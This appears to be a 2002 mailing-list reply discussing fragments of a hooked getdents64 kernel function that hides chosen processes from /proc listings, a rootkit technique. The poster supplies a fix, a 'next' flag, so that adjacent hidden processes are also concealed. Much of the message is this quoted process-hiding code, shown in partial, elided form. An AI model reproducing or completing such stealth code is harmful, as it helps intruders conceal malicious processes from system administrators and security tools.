If it's of any care to you, I think i solved it.
inline...
On Thu, Aug 29, 2002 at 03:26:11PM +0300, Guy Cohen wrote:
>
> > > [...]
> > > int n_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count)
> > > {
[...]
> if (proc && invisible(myatoi(dirp3->d_name)))
>
> >
> > > {
> > > /*modify dirent struct if necessary*/
> > > if (t != 0)
> > > memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
> >
> > this looks... suspicious.
>
> This is the main event :)
Here is found that the process should be invisible, so copy the address
of the next process over it to hide it. but if you'll see further on, we do
it again, because we want to know about the next process.
so if you'll add something like next=1 here and ...
>
> >
> > > else
> > > dirp3->d_off = 1024;
add next=0 to the else
> > > tmp -= n;
> > > }
> > >
> > > if (t != 0)
change the above to if(t!=0&&next!=1) and thats about it.
> > > dirp3 = (struct dirent64 *) ((char *) dirp3 + dirp3->d_reclen);
> > >
> > > }
> > >
> > > copy_to_user(dirp, dirp2, tmp);
> >
> > Need to check here as well.
> >
> > > kfree(dirp2);
> > > }
> > > return tmp;
> > > }
> > >
> > > <--->
--
Unix Administration, | http://www.unixadmin.co.il
locally and remotely. | [EMAIL PROTECTED]
Planning, installation, | Phone: 972-3-6201373
support & upgrades. | Location: Unrestricted
=================================================================
To unsubscribe, send mail to [EMAIL PROTECTED] with
the word "unsubscribe" in the message body, e.g., run the command
echo unsubscribe | mail [EMAIL PROTECTED]
